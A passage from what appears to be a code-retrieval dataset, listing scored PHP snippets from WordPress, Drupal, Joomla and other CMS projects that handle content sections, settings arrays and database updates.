getSectionId() {\n\t\treturn $this->section_id;\n\t}", "title": "" }, { "docid": "ededc879ce5e4316049b7d2a39747c08", "score": "0.49834457", "text": "public function getSectionId() {\n return $this->section_id;\n }", "title": "" }, { "docid": "0380fda7459c9442fff33ee0f8e72125", "score": "0.49674383", "text": "function ProcessMainSection(){\n $this->ProcessCustomEditCaptionSettings();\n\n }", "title": "" }, { "docid": "f51afe4c019999ac17e896debf92526c", "score": "0.49651247", "text": "function Section(){\n $dbpmb = connect();\n $result = mysql_query(\"\n SELECT idsection, section_libelle, section_visible_opac\n FROM docs_section\n \",$dbpmb);\n while ($notice = mysql_fetch_object($result)) {\n $retour[$notice->idsection] = $notice;\n }\n close($dbpmb);\n return $retour;\n}", "title": "" }, { "docid": "074a9fdb0056a98bf013c4c758d33225", "score": "0.495506", "text": "function fn_update_profile_field_sections($sections)\n{\n foreach ($sections as $section_id => $section) {\n db_query('UPDATE ?:profile_field_sections SET ?u WHERE section_id = ?i', $section, $section_id);\n }\n\n return true;\n}", "title": "" }, { "docid": "61f5310602459f3060016a474250e04d", "score": "0.49448252", "text": "public function setSections() {\n $this->sections[] = array(\n 'id' => 'setupsizelimitconf_general',\n 'title' => esc_html__('Image Size Settings', 'pointfindert2d'),\n 'icon' => 'el-icon-resize-full',\n 'fields' => array(\n array(\n 'id' => 'setupsizelimitconf_general_gridsize1_help1',\n 'type' => 'info',\n 'notice' => true,\n 'style' => 'critical',\n 'title' => __( 'IMPORTANT', 'pointfindert2d' ),\n 'desc' => __( 'Please make sure you are changing correctly. Because these settings will change all your image sizes.', 'pointfindert2d' )\n ),\n /*Start:(Ajax Grid / Static Grid / Item Carousel)*/\n array(\n 'id' => 'setupsizelimitconf_general_gridsize1-start',\n 'type' => 'section',\n 'title' => __('Item Image Sizes', 'pointfindert2d'),\n 'subtitle' => __('This sizes will effect Ajax Grid / Static Grid / Item Carousel', 'pointfindert2d'),\n 'indent' => true \n ),\n array(\n 'id' => 'setupsizelimitconf_general_gridsize1',\n 'type' => 'dimensions',\n 'units' => 'px',\n 'units_extended' => 'false',\n 'title' => __('Grid Photos Min. Size (Width/Height)', 'pointfindert2d'),\n 'desc' => __('All size units (px)', 'pointfindert2d'),\n 'default' => array(\n 'width' => 440,\n 'height' => 330,\n )\n ),\n array(\n 'id' => 'setupsizelimitconf_general_gridsize1-end',\n 'type' => 'section',\n 'indent' => false \n ),\n /*End:(Ajax Grid / Static Grid / Item Carousel)*/ \n\n\n /*Start:(VC_Carousel, VC_Image_Carousel, VC_Client Carousel, VC_Gallery)*/\n array(\n 'id' => 'setupsizelimitconf_general_gridsize2-start',\n 'type' => 'section',\n 'title' => __('Visual Composer Elements Image Size', 'pointfindert2d'),\n 'subtitle' => __('This sizes will effect Visual Composer Post Carousel, Image Carousel, Client Carousel, Gallery', 'pointfindert2d'),\n 'indent' => true \n ),\n \n array(\n 'id' => 'setupsizelimitconf_general_gridsize2',\n 'type' => 'dimensions',\n 'units' => 'px',\n 'units_extended' => 'false',\n 'title' => __('2 Cols. Min Size (Width/Height)', 'pointfindert2d'),\n 'desc' => __('All size units (px)', 'pointfindert2d'),\n 'default' => array(\n 'width' => 555,\n 'height' => 416,\n )\n ),\n array(\n 'id' => 'setupsizelimitconf_general_gridsize3',\n 'type' => 'dimensions',\n 'units' => 'px',\n 'units_extended' => 'false',\n 'title' => __('3 Cols. Min Size (Width/Height)', 'pointfindert2d'),\n 'desc' => __('All size units (px)', 'pointfindert2d'),\n 'default' => array(\n 'width' => 360,\n 'height' => 270,\n )\n ),\n array(\n 'id' => 'setupsizelimitconf_general_gridsize4',\n 'type' => 'dimensions',\n 'units' => 'px',\n 'units_extended' => 'false',\n 'title' => __('4 Cols. Min Size (Width/Height)', 'pointfindert2d'),\n 'desc' => __('All size units (px)', 'pointfindert2d'),\n 'default' => array(\n 'width' => 263,\n 'height' => 197,\n )\n ),\n\n array(\n 'id' => 'setupsizelimitconf_general_gridsize2-start',\n 'type' => 'section',\n 'indent' => false \n ),\n /*End:(VC_Carousel, VC_Image_Carousel, VC_Client Carousel, VC_Gallery)*/\n\n )\n );\n /**\n *End : Image Sizes\n **/\n\n /**\n *Start : Word Limits\n **/\n $this->sections[] = array(\n 'id' => 'setupsizelimitwordconf_general',\n 'title' => esc_html__('Word Size Settings', 'pointfindert2d'),\n 'icon' => 'el-icon-resize-full',\n 'fields' => array(\n array(\n 'id' => 'setupsizelimitwordconf_general_grid_help1',\n 'type' => 'info',\n 'notice' => true,\n 'style' => 'critical',\n 'title' => __( 'IMPORTANT', 'pointfindert2d' ),\n 'desc' => __( 'Please make sure you are changing correctly. Because these settings will change all your text area limit sizes.', 'pointfindert2d' )\n ),\n\n array(\n 'id' => 'setupsizelimitwordconf_general_grid22-start',\n 'type' => 'section',\n 'title' => __('Info Window Word Limit Sizes', 'pointfindert2d'),\n 'subtitle' => __('This sizes will effect Info Window. (Numeric Only)', 'pointfindert2d'),\n 'indent' => true \n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_infowindowtitle',\n 'type' => 'text',\n 'title' => __( 'Info Window Title Char Limit', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 20,\n ), \n array(\n 'id' => 'setupsizelimitwordconf_general_infowindowaddress',\n 'type' => 'text',\n 'title' => __( 'Info Window Address Char Limit', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 28,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid22-end',\n 'type' => 'section',\n 'indent' => false \n ),\n\n \n array(\n 'id' => 'setupsizelimitwordconf_general_grid-start',\n 'type' => 'section',\n 'title' => __('Item Grid & Carousel Word Limit Sizes', 'pointfindert2d'),\n 'subtitle' => __('This sizes will effect Ajax Grid / Static Grid / Item Carousel. (Numeric Only)', 'pointfindert2d'),\n 'indent' => true \n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid1title',\n 'type' => 'text',\n 'title' => __( 'Title Area (1 col)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 120,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid1address',\n 'type' => 'text',\n 'title' => __( 'Address/Excerpt Area (1 col)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 120,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid2title',\n 'type' => 'text',\n 'title' => __( 'Title Area (2 cols)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 96,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid2address',\n 'type' => 'text',\n 'title' => __( 'Address/Excerpt Area (2 cols)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 96,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid3title',\n 'type' => 'text',\n 'title' => __( 'Title Area (3 cols)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 32,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid3address',\n 'type' => 'text',\n 'title' => __( 'Address/Excerpt Area (3 cols)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 32,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid4title',\n 'type' => 'text',\n 'title' => __( 'Title Area (4 cols)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 32,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid4address',\n 'type' => 'text',\n 'title' => __( 'Address/Excerpt Area (4 cols)', 'pointfindert2d' ),\n 'validate' => 'numeric',\n 'default' => 32,\n ),\n array(\n 'id' => 'setupsizelimitwordconf_general_grid-end',\n 'type' => 'section',\n 'indent' => false \n ),\n )\n );\n /**\n *End : Word Limits\n **/\n\n\n\t\t\t\n }", "title": "" }, { "docid": "e99ff0620cd27093992e33da1bf314dc", "score": "0.49366426", "text": "public function edit() {\n\t $this->id = WaxUrl::get(\"id\");\n\t\tif(!$this->id) $this->id = $this->route_array[0];\n $this->model = new $this->model_class($this->id);\n \n\t\t$this->all_sections = $this->current_user->allowed_sections_model()->tree();\n\t\t$this->list_sections_partial = $this->render_partial(\"list_sections\");\n\t\t$this->section_list_partial = $this->render_partial(\"section_list\");\n\t\t$this->apply_sections_partial = $this->render_partial(\"apply_sections\");\n\n\t\t$this->form = $this->render_partial(\"form\");\n\t\tif($_POST['cancel']) $this->redirect_to(Session::get(\"list_refer\"));\n\t\tif($_POST['save']) $this->save($this->model, \"edit\");\n\t\telse $this->save($this->model, Session::get(\"list_refer\"));\n\t}", "title": "" }, { "docid": "d2ef5f19d04a85ba153c1dfcbec0b7bd", "score": "0.49364233", "text": "function edd_midtrans_settings_section( $sections ) {\n\t\t$sections['midtrans'] = __( 'Midtrans', 'midtrans' );\n\t\treturn $sections;\n\t}", "title": "" }, { "docid": "91efb8c08096423ea46c842c4ca1c9d5", "score": "0.49138063", "text": "function updateSection(&$section) {\n\t\t$returner = $this->update(\n\t\t\t'UPDATE sections\n\t\t\t\tSET\n\t\t\t\t\treview_form_id = ?,\n\t\t\t\t\tseq = ?,\n\t\t\t\t\tmeta_indexed = ?,\n\t\t\t\t\tmeta_reviewed = ?,\n\t\t\t\t\tabstracts_not_required = ?,\n\t\t\t\t\teditor_restricted = ?,\n\t\t\t\t\thide_title = ?,\n\t\t\t\t\thide_author = ?,\n\t\t\t\t\thide_about = ?,\n\t\t\t\t\tdisable_comments = ?,\n\t\t\t\t\tabstract_word_count = ?\n\t\t\t\tWHERE section_id = ?',\n\t\t\tarray(\n\t\t\t\t(int)$section->getReviewFormId(),\n\t\t\t\t(float) $section->getSequence(),\n\t\t\t\t(int)$section->getMetaIndexed(),\n\t\t\t\t(int)$section->getMetaReviewed(),\n\t\t\t\t(int)$section->getAbstractsNotRequired(),\n\t\t\t\t(int)$section->getEditorRestricted(),\n\t\t\t\t(int)$section->getHideTitle(),\n\t\t\t\t(int)$section->getHideAuthor(),\n\t\t\t\t(int)$section->getHideAbout(),\n\t\t\t\t(int)$section->getDisableComments(),\n\t\t\t\t$this->nullOrInt($section->getAbstractWordCount()),\n\t\t\t\t(int)$section->getId()\n\t\t\t)\n\t\t);\n\t\t$this->updateLocaleFields($section);\n\t\treturn $returner;\n\t}", "title": "" }, { "docid": "183048b71fe4dd3ab6fc54ce6ddbd3fb", "score": "0.49119112", "text": "private function open_section( $value )\t{\n\t\t$this->_section++; \n\t\t$section = preg_replace(\"/[^a-zA-Z]/\", \"\", $this->_tk->get_option_name() ) . $this->_section; \n\t\t?>\n\t\t<div class=\"tk_slide tk_switch\">\n\t\t\t<div class=\"tk_header\" id=\"<?php echo $section ?>\">\n\t\t\t\t<span class=\"submit\"><input class=\"button-primary\" name=\"save<?php echo $this->_section; ?>\" type=\"submit\" value=\"Save changes\" /></span>\n\t\t\t\t<h3><?php echo isset($value['name']) ? $value['name'] : \"&nbsp;\" ; ?></h3>\n\t\t\t</div>\n\t\t\t<div class=\"tk_options\">\n\n\t<?php }", "title": "" }, { "docid": "98f69da9b5765b41e6c3bfb2ed92db2f", "score": "0.4911124", "text": "function set_section($section)\r\n {\r\n $this->set_default_property(self :: PROPERTY_SECTION, $section);\r\n }", "title": "" }, { "docid": "3c3053779bd75a7f33907725a6b0c2b7", "score": "0.49049708", "text": "function cl_section_order_form($form, &$form_state) {\n\t$domain = cl_get_domain();\n\t$form['dragable_items']['#tree'] = TRUE;\n\t//$result = db_query('SELECT id, name, description, weight FROM {tabledrag_example} WHERE id < 8 ORDER BY weight ASC');\n\t$result = db_select('cl_sections', 'c')\n\t\t->condition('c.domain', $domain['domain_id'], '=')\n\t\t->fields('c', array('sid', 'name', 'type', 'weight', 'description'))\n\t\t->orderBy('weight', 'ASC')\n\t\t->execute();\n\t$form['help'] = array('#markup'=>'<p>Here you can change the number and order of gates, or \"sections\" that a team must pass through in order to reach phase 3. Items higher on the list must be completed before items at the bottom. Although not shown, the list always begins with the Application Form, and ends with Phase 3.</p><p>The number in the \"Teams\" column shows the number of teams currently in that section. Sections with teams currently in them <em>cannot</em> be deleted or have their type changed, although any other action is still allowed.</p><p>You can rearrange sections by dragging them. The description field can be resized for easier editing.</p>');\n\tforeach ($result as $item) {\n\t\t$count = db_select('cl_team', 'c')\n\t\t\t->condition('c.section', $item->sid, '=')\n\t\t\t->countQuery()\n\t\t\t->execute()\n\t\t\t->fetchField();\n \t$form['dragable_items'][$item->sid] = array(\n \t'count' => array('#markup' => $count),\n \t'type' => array(\n \t\t'#type' => 'select',\n \t\t'#options' => array(\n \t\t\t'' => '',\n \t\t'interview' => t('Interview'),\n \t\t'assessment' => t('Assessment'),\n \t\t),\n \t\t'#title' => 'Type',\n\t\t\t'#disabled' => $count > 0,\n \t\t'#default_value' => check_plain($item->type),\n\t\t),\n\t\t'delete' => array(\n\t\t\t'#type' => 'submit',\n\t\t\t'#value' => t('Delete Section'),\n\t\t\t'#name' => 'delete' . $item->sid,\n\t\t\t'#disabled' => $count > 0,\n\t\t\t'#return_value' => 'delete' . $item->sid,\n\t\t),\n\t\t'name' => array(\n \t'#type' => 'textfield',\n \t'#default_value' => check_plain($item->name),\n \t'#size' => 40,\n \t'#title' => 'Name',\n \t'#maxlength' => 255,\n \t),\n \t'description' => array(\n \t'#type' => 'textarea',\n \t'#default_value' => check_plain($item->description),\n \t'#rows' => 1,\n \t'#title' => 'Description',\n \t),\n \t'weight' => array(\n \t'#type' => 'weight',\n \t'#title' => t('Weight'),\n \t'#default_value' => ($item->weight),\n \t'#delta' => 30,\n \t'#title-display' => 'invisible',\n \t),\n\t\t);\n\t}\n\tif (isset($form_state['storage']['newsection'])) {\n\t\t$form['dragable_items']['new'] = $form_state['storage']['newsection'];\n\t}\n\t$form['actions'] = array('#type' => 'actions');\n\t$form['actions']['submit'] = array( '#type' => 'submit', '#value' => t('Save Changes'), '#return_value' => 'save');\n\t$form['actions']['addnew'] = array( '#type' => 'submit', '#value' => t('Add New Section'), '#return_value' => 'add new');\n\treturn $form;\n}", "title": "" }, { "docid": "7a59a23eb3bfee890720e56ad5273604", "score": "0.49040362", "text": "public function save_page_meta( $page_id ) {\r\n\t\tif ( ! isset( $_POST['hyunmoo_page_section_meta_nonce'] ) )\r\n\t\t\treturn $page_id;\r\n\r\n\t\t$nonce = $_POST['hyunmoo_page_section_meta_nonce'];\r\n\r\n\t\t// Verify that the nonce is valid.\r\n\t\tif ( ! wp_verify_nonce( $nonce, 'hyunmoo_page_section_meta' ) )\r\n\t\t\t return $page_id;\r\n\r\n\t\t// If this is an autosave, our form has not been submitted, so we don't want to do anything.\r\n\t\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \r\n\t\t\treturn $page_id;\r\n\t\t// Check the user's permissions.\r\n\t\tif ( ! current_user_can( 'edit_page', $page_id ) )\r\n\t\t\treturn $page_id;\r\n\t\t\r\n\t\t/* Check if any sections uploaded */\r\n\t\tif( !isset( $_POST['sections'] ) || empty( $_POST['sections'] ) )\r\n\t\t\treturn $page_id;\r\n\t\t\t\r\n\t\t/* OK, its safe for us to save the data now. */\r\n\t\t$sections = $_POST['sections'];\r\n\t\tusort( $sections, array( $this, 'sectionSort' ) );\r\n\t\tupdate_post_meta( $page_id, '_hyunmoo_onepage_sections', $sections );\r\n\t}", "title": "" }, { "docid": "f6cb1125f5500909d0f780a0f31b3836", "score": "0.48994634", "text": "function creer_section_article($une_liste,$id_select) {\n\n $max = count($une_liste);\n for($i = 0;$i < $max; $i++) {\n if ($id_select == null || $une_liste[$i]->appartientCategorie($id_select) === true)\n {\n creer_division_article($une_liste[$i]);\n }\n }\n}", "title": "" }, { "docid": "eff36758893622b6bd8c433e52883d07", "score": "0.48971474", "text": "function edd_midtrans_promo_settings_section( $sections ) {\n\t\t$sections['midtrans_promo'] = __( 'Midtrans Promo', 'midtrans_promo' );\n\t\treturn $sections;\n\t}", "title": "" }, { "docid": "46e4af4759390b81fcec09d9d6e6aaa9", "score": "0.48949343", "text": "public function testUpdateMenuSectionItem()\n {\n }", "title": "" }, { "docid": "a2721c76b9e0da673b4ffc0106197289", "score": "0.48945615", "text": "private function getPositionForThisSection(){\n $this->db->select(\"count(id) as totalSections\");\n $this->db->from(\"section\");\n $query = $this->db->get();\n if($query->num_rows() > 0){\n $result = $query->result();\n $numberOfSections = $result[0]->totalSections;\n }\n\n return $numberOfSections;\n }", "title": "" }, { "docid": "a2721c76b9e0da673b4ffc0106197289", "score": "0.48945615", "text": "private function getPositionForThisSection(){\n $this->db->select(\"count(id) as totalSections\");\n $this->db->from(\"section\");\n $query = $this->db->get();\n if($query->num_rows() > 0){\n $result = $query->result();\n $numberOfSections = $result[0]->totalSections;\n }\n\n return $numberOfSections;\n }", "title": "" }, { "docid": "367297056f73bf93188fb1d0f91a2b0f", "score": "0.4893603", "text": "function reader_get_numsections($course) {\n global $DB;\n if (is_numeric($course)) {\n $course = $DB->get_record('course', array('id' => $course));\n }\n if ($course && isset($course->id)) {\n if (isset($course->numsections)) {\n return $course->numsections; // Moodle >= 2.3\n }\n if (isset($course->format)) {\n return $DB->get_field('course_format_options', 'value', array('courseid' => $course->id, 'format' => $course->format, 'name' => 'numsections'));\n }\n }\n return 0; // shouldn't happen !!\n}", "title": "" }, { "docid": "6bc229a0c5064f62962c6a66483a0cb3", "score": "0.4893218", "text": "function exportSection2Joomla($rubrique)\n\t{\n\t\t$section['title']=$rubrique->titre;\n\t\t$section['description']=$rubrique->descriptif;\n\t\t$section['scope']='content';\n\t\t\n\t\t//We get the rubrique logo\n\t\t$logoFilter= 'rubon' . $rubrique->id_rubrique;\n\t\t$logoPath= spip2joomlasHelper::getSPIPLogo($logoFilter);\n\t\t$logoFilename= JFile::getName($logoPath);\n\t\t\n\t\t$section['image']=$logoFilename;\n\n\t\t//We get the row structure\n\t\t$row =& JTable::getInstance('section');\n\t\t//We get optimistic\n\t\t$result = 1;\n\t\t\t\t\n\t\tif (!$row->bind($section)) {\n\t\t\tJError::raiseError(500, $row->getError() );\n\t\t\t$result = 0;\n\t\t}\n\t\t\n\t\tif (!$row->store()) {\n\t\t\tJError::raiseError(500, $row->getError() );\n\t\t\t$result = 0;\n\t\t}\n\t\t$row->checkin();\n\t\t\n\t\t//we assign the relations table data\n\t\t$joomlarubrique['rubrique_id']=$rubrique->id_rubrique;\n\t\t$joomlarubrique['joomla_container']='Section';\n\t\t$joomlarubrique['joomla_id']=$row->id;\n\t\t$joomlarubrique['spip_url']=$rubrique->url_prope;\n\t\t\n\t\t//We get the relations table row structure\n\t\t$rubrique2joomla=& JTable::getInstance('spiprubriques', 'Table');\n\t\tif (!$rubrique2joomla->bind($joomlarubrique)) {\n\t\t\tJError::raiseError(500, $row->getError() );\n\t\t\t$result = 0;\n\t\t}\n\t\tif (!$rubrique2joomla->store()) {\n\t\t\tJError::raiseError(500, $row->getError() );\n\t\t\t$result = 0;\n\t\t}\n\n\t\t$this->exportCategory2Joomla($rubrique);\n\t}", "title": "" }, { "docid": "b29481e836b4edfb1e4a94723f84f5dc", "score": "0.4892779", "text": "function get_articles($manual_id) {\n\t\tglobal $db, $table_prefix;\n/*\t\t\n\t\t$r = new VA_Record($table_prefix . \"manuals_articles\");\n\t\t$r->set_event(BEFORE_INSERT, \"set_db_values_before_changes\");\n\t\t$r->set_event(BEFORE_UPDATE, \"set_db_values_before_changes\");\n\t\t$r->add_where(\"manual_id\", INTEGER);\n\t\t$r->set_value(\"manual_id\", $manual_id);\n\t\t$r->add_textbox(\"article_id\", INTEGER, ID_MSG);\n\t\t$r->add_textbox(\"parent_article_id\", INTEGER, PARENT_ARTICLE_MSG);\n\n\t\t$r->add_textbox(\"article_path\", TEXT, ARTICLE_PATH_MSG);\n\t\t$r->change_property(\"article_path\", USE_IN_ORDER, ORDER_ASC);\n\t\t\n\t\t$r->add_textbox(\"article_order\", INTEGER, ARTICLE_ORDER_MSG);\n\t\t$r->change_property(\"article_order\", USE_IN_ORDER, ORDER_ASC);\n\t\t\n\t\t$r->add_textbox(\"article_title\", TEXT, ARTICLE_TITLE_MSG);\n\t\t$r->add_textbox(\"article_level\", INTEGER, ARTICLE_TITLE_MSG);\n\t\t$r->change_property(\"article_level\", USE_IN_INSERT, false);\n\t\t$r->change_property(\"article_level\", USE_IN_UPDATE, false);\n\t\t$r->change_property(\"article_level\", USE_IN_SELECT, false);\n\t\t$r->change_property(\"article_title\", REQUIRED, true);\n\t\t\n\t\t$r->add_textbox(\"section_number\", TEXT, SECTION_NUMBER_MSG);\n\t\t\n\t\t// Get parent articles\n\t\t$grid = new VA_EditGrid($r, \"articles\");\n\t\n\t\t$articles_num = $grid->get_db_values();\n//*/\n\t\t$sql = \"SELECT manual_id, article_id, parent_article_id, article_path, \";\n\t\t$sql .= \"article_order, article_title, section_number \";\n\t\t$sql .= \"FROM \".$table_prefix.\"manuals_articles \";\n\t\t$sql .= \"WHERE manual_id = \".$db->tosql($manual_id, INTEGER);\n\t\t$sql .= \" ORDER BY article_path ASC, article_order ASC\";\n\t\t\n\t\t$db->query($sql);\n\t\t$articles = array();\n\t\t\n\t\twhile ($db->next_record()) {\n\t\t\t$article_id = $db->f(\"article_id\");\n\t\t\t$article_path = $db->f(\"article_path\");\n\t\t\t$articles[$article_id] = $db->Record;\n\t\t\t$articles[$article_id][\"article_level\"] = strlen(preg_replace(\"/\\d/\", \"\", $article_path));\n\t\t}\n/*\n\t\t$articles = array();\n\t\t\n\t\tif ($articles_num > 0) {\n\t\t\tfor($i = 1; $i <= $articles_num; $i++) {\n\t\t\t\t$grid->set_record($i);\n\t\t\t\t$article_id = $grid->record->get_value(\"article_id\");\n\t\t\t\t$article_path = $grid->record->get_value(\"article_path\");\n\t\t\t\t\n\t\t\t\t$level = strlen(preg_replace(\"/\\d/\", \"\", $article_path));\n\t\t\t\t$grid->record->set_value(\"article_level\", $level);\n\t\t\t\t$articles_objs[$article_id] = $grid->record;\n\t\t\t}\n\t\t}\n//*/\n\t\treturn $articles;\n\t}", "title": "" }, { "docid": "09f224166b5b515cc02acb69776c6318", "score": "0.48925883", "text": "function DisplaySectionForm($param_sectionid = null)\n{\n global $DB, $refreshpage, $sdlanguage, $GalleryBase;\n\n if(isset($param_sectionid))\n {\n $sectionid = (int)$param_sectionid;\n }\n else\n {\n $sectionid = Is_Valid_Number(GetVar('sectionid', 0, 'whole_number'),0,0,99999999);\n }\n if($sectionid)\n {\n $DB->result_type = MYSQL_ASSOC;\n $section = $DB->query_first('SELECT * FROM '.$GalleryBase->sections_tbl.\n ' WHERE sectionid = %d', $sectionid);\n }\n else\n {\n $section = array(\n 'parentid' => GetVar('parentid', 1, 'whole_number'),\n 'activated' => (GetVar('activated', 1, 'bool')?1:0),\n 'name' => GetVar('name', '', 'string'),\n 'description' => GetVar('description', '', 'string'),\n 'folder' => GetVar('folder', '', 'string'),\n 'tags' => GetVar('tags', '', 'string'),\n 'sorting' => GetVar('sorting', 'Newest First', 'string'),\n 'imageid' => GetVar('imageid', 0, 'whole_number'),\n 'images_per_page'=> GetVar('images_per_page', 0, 'natural_number'),\n 'images_per_row' => GetVar('images_per_row', 0, 'natural_number'),\n 'display_mode' => GetVar('display_mode', 0, 'whole_number'),\n 'display_author' => (GetVar('display_author', 0, 'bool')?1:0),\n 'display_comments' => (GetVar('display_comments', 0, 'bool')?1:0),\n 'display_ratings' => (GetVar('display_ratings', 0, 'bool')?1:0),\n 'display_view_counts' => (GetVar('display_view_counts', 0, 'bool')?1:0),\n 'display_social_media' => (GetVar('display_social_media', 0, 'bool')?1:0),\n 'access_view' => GetVar('access_view', '', 'a_int'),\n 'owner_access_only' => (GetVar('owner_access_only', 0, 'bool')?1:0),\n #SD360:\n 'section_sorting' => GetVar('section_sorting', '', 'string'),\n 'max_subsections' => GetVar('max_subsections', 0, 'natural_number'),\n 'subsection_template_id' => GetVar('subsection_template_id', 0, 'whole_number'),\n 'allow_submit_file_upload' => (GetVar('allow_submit_file_upload', 0, 'bool')?1:0),\n 'allow_submit_media_link' => (GetVar('allow_submit_media_link', 0, 'bool')?1:0),\n 'seo_title' => GetVar('seo_title', '', 'string'),\n 'metakeywords' => GetVar('metakeywords', '', 'string'),\n 'metadescription' => GetVar('metadescription', '', 'string'),\n 'link_to' => GetVar('link_to', '', 'string'),\n 'target' => GetVar('target', '', 'string'),\n 'publish_start' => Is_Valid_Number(GetVar('publish_start', 0, 'natural_number'),0,0,2199999999),\n 'publish_end' => Is_Valid_Number(GetVar('publish_end', 0, 'natural_number'),0,0,2199999999),\n //unused yet:\n 'pwd' => '',#GetVar('pwd', '', 'string'),\n 'pwd_salt' => '',#GetVar('pwd_salt', '', 'string'),\n );\n }\n\n //Check empty vars to avoid system log messages\n $section['description'] = isset($section['description'])?$section['description']:'';\n $section['folder'] = isset($section['folder'])?(string)$section['folder']:'';\n if(!isset($section['access_view'])) $section['access_view'] = array();\n $section['section_sorting'] = empty($section['section_sorting'])?'newest_first':$section['section_sorting'];\n $section['sorting'] = empty($section['sorting'])?'newest_first':$section['sorting'];\n $section['subsection_template_id'] = empty($section['subsection_template_id'])?0:$section['subsection_template_id'];\n $section['allow_submit_file_upload'] = (empty($sectionid) || !empty($section['allow_submit_file_upload']))?1:0;\n $section['allow_submit_media_link'] = empty($section['allow_submit_media_link'])?0:1;\n $section['metadescription'] = empty($section['metadescription'])?'':(string)$section['metadescription'];\n $section['metakeywords'] = empty($section['metakeywords'])?'':(string)$section['metakeywords'];\n $section['link_to'] = empty($section['link_to'])?'':(string)$section['link_to'];\n $section['target'] = empty($section['target'])?'':(string)$section['target'];\n $section['owner_id'] = empty($section['owner_id'])?0:(int)$section['owner_id'];\n $section['publish_start'] = empty($section['publish_start'])?0:(int)$section['publish_start'];\n $section['publish_end'] = empty($section['publish_end'])?0:(int)$section['publish_end'];\n\n echo '\n <form method=\"post\" action=\"'.$refreshpage.'\" class=\"form-horizontal\">\n <input type=\"hidden\" name=\"action\" value=\"'. ($sectionid ? 'updatesection' : 'insertsection').'\" />\n <input type=\"hidden\" name=\"sectionid\" value=\"'. $sectionid .'\" />\n '.PrintSecureToken();\n\n StartSection($sectionid ? AdminPhrase('update_section') : AdminPhrase('create_section'),'',true,true);\n echo '\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('section') . '</label>\n\t\t<div class=\"col-sm-6\">\n <input type=\"text\" class=\"form-control\" name=\"sectionname\" maxlength=\"128\" size=\"80\" value=\"'.$section['name'].'\" style=\"width: 95%; font-weight: bold;\" />\n </div>\n </div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">'.AdminPhrase('section_seo_title').'</label>\n<div class=\"col-sm-6\">\n <input type=\"text\" class=\"form-control\" name=\"seo_title\" style=\"min-with: 100px; width: 95%;\" value=\"'.$section['seo_title'].'\" />\n <br />'.AdminPhrase('section_seo_title_hint').'\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('parent_section') . '</label>\n <div class=\"col-sm-6\">';\n\n if($sectionid != 1)\n {\n $this->PrintSectionSelection('parentid', $section['parentid'], $sectionid, 'width: 98%; padding: 4px;');\n }\n else\n {\n echo '<p class=\"form-control-static\">' . AdminPhrase('no_parent_for_root') . '</p>';\n }\n\n echo '</div>\n</div>';\n\n //SD343: section-owner, owner-only access\n echo '\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . AdminPhrase('description') . '</label>\n <div class=\"col-sm-6\">';\n\n DisplayBBEditor($GalleryBase->allow_bbcode, 'description', $section['description'], null, 80, 10);\n\n // Apply BBCode parsing\n if($sectionid && $GalleryBase->allow_bbcode)\n {\n global $bbcode;\n $bbcode->SetDetectURLs(false);\n echo '<div class=\"bbcode_preview\">'.$bbcode->Parse($section['description']).'</div>';\n }\n\n echo '\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">'.AdminPhrase('section_owner').'</label>\n<div class=\"col-sm-6\">';\n $owner_name = '';\n if(!empty($section['owner_id']) &&\n ($owner = sd_GetForumUserInfo(1, $section['owner_id'])))\n {\n $owner_name = $owner['username'];\n }\n $owner_valid = !empty($section['owner_id']) && strlen($owner_name);\n echo '\n <input type=\"text\" id=\"UserSearch\" class=\"form-control\" name=\"owner_name\" value=\"'.$owner_name.'\" maxlength=\"30\" />\n <input type=\"hidden\" id=\"newOwnerID\" name=\"newAuthorID\" value=\"'.(int)$section['owner_id'].'\" />\n <input type=\"hidden\" id=\"owner_id\" value=\"'.(int)$section['owner_id'].'\" />\n ';\n if(!empty($section['owner_id']))\n {\n echo $owner_valid ? '' : '<span style=\"color:red\">';\n echo ' (ID '.$section['owner_id'].($owner_valid?'':': INVALID!').')';\n echo $owner_valid ? '' : '</span>';\n }\n echo '<span class=\"helper-text\">'.AdminPhrase('section_owner_descr').'</span>\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">'.AdminPhrase('owner_access_only').'</label>\n<div class=\"col-sm-6\">\n <fieldset>\n <label for=\"owner_access_only\">\n <input type=\"checkbox\" class=\"ace\" id=\"owner_access_only\" name=\"owner_access_only\" value=\"1\"'.\n (!empty($section['owner_access_only'])?' checked=\"checked\"':'').' /><span class=\"lbl\"></span> '.\n AdminPhrase('owner_access_only_descr').'</label>\n </fieldset>\n </div>\n</div>';\n\n echo '\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('viewing_permissions') . '</label>\n<div class=\"col-sm-6\">\n <select name=\"access_view[]\" multiple=\"multiple\" class=\"form-control\" size=\"6\">';\n\n if(is_array($section['access_view']))\n $groups = $section['access_view'];\n else\n $groups = sd_ConvertStrToArray($section['access_view'], '|');\n $getusergroups = $DB->query('SELECT usergroupid, name FROM {usergroups} ORDER BY usergroupid');\n while($ug = 